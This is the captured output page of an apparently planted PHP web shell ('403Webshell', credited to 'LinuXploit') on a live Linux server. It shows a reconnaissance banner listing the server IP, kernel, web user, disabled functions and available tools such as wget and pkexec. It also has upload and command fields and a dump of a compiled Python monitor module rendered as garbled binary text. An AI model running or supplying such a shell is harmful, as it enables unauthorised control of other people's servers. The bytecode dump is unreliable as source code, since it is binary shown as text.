403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/tuned/monitors/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/monitors/__pycache__/base.cpython-39.opt-1.pyc
a

,�gj�@s,ddlZej��ZdgZGdd�de�ZdS)�N�Monitorc@s�eZdZdZedd��Zedd��Zedd��Zedd	��Zed
d��Z	edd
��Z
edd��Zedd��Zedd��Z
d&dd�Zdd�Zdd�Zedd��Zejdd��Zdd�Zd d!�Zd"d#�Zd$d%�ZdS)'rz�
	Base class for all monitors.

	Monitors provide data about the running system to Plugin objects, which use the data
	to tune system parameters.

	Following methods require reimplementation:
	  - _init_available_devices(cls)
	  - update(cls)
	cCsLd|_t�|_t�|_t�|_i|_|��d|_t�dd�	|j��dS)NFTzavailable devices: %s�, )
�_class_initialized�set�
_instances�_available_devices�_updating_devices�_load�_init_available_devices�log�debug�join��cls�r�7/usr/lib/python3.9/site-packages/tuned/monitors/base.py�_init_classszMonitor._init_classcCs
t��dS�N��NotImplementedErrorrrrrr
!szMonitor._init_available_devicescCs"|��t�dd�|j��dS)Nz available devices updated to: %sr)r
rrr
rrrrr�_update_available_devices%s
�z!Monitor._update_available_devicescCs|jSr)rrrrr�get_available_devices+szMonitor.get_available_devicescCs
t��dSrrrrrr�update/szMonitor.updatecCs|j�|�dSr)r�add�r�instancerrr�_register_instance3szMonitor._register_instancecCs|j�|�dSr)r�removerrrr�_deregister_instance7szMonitor._deregister_instancecCs6t�}|jD]}||jO}q|j��|j�|�dSr)rr�devicesr�clearr)rZnew_updatingrrrr�_refresh_updating_devices;s


z!Monitor._refresh_updating_devicescCs|jSr)rrrrr�	instancesCszMonitor.instancesNcCsBt|d�s|��|�|�|dur,||_n
|��|_|��dS)Nr)�hasattrrrrrr)�selfrrrr�__init__Is


zMonitor.__init__cCsz|��WnYn0dSr)�cleanup�r$rrr�__del__WszMonitor.__del__cCs|�|�|��dSr)rr!r'rrrr&]s
zMonitor.cleanupcCs|jSr��_devicesr'rrrraszMonitor.devicescCs |jt|�@}||_|��dSr)rrr*r!)r$�valueZnew_devicesrrrrescCs.|��||jvr*|j�|�|j�|�dSr)rrr*rr�r$Zdevicerrr�
add_deviceks
zMonitor.add_devicecCs&||jvr"|j�|�|j�|�dSr)r*rrr,rrr�
remove_devicers
zMonitor.remove_devicecs t�fdd�t�j���D��S)Ncsg|]}|d�jvr|�qS)rr))�.0Zdev_loadr'rr�
<listcomp>y�z$Monitor.get_load.<locals>.<listcomp>)�dict�listr	�itemsr'rr'r�get_loadxszMonitor.get_loadcCs|j�|d�Sr)r	�getr,rrr�get_device_load{szMonitor.get_device_load)N)�__name__�
__module__�__qualname__�__doc__�classmethodrr
rrrrrr!r"r%r(r&�propertyr�setterr-r.r5r7rrrrrs<












)Z
tuned.logsZtunedZlogsr6r�__all__�objectrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit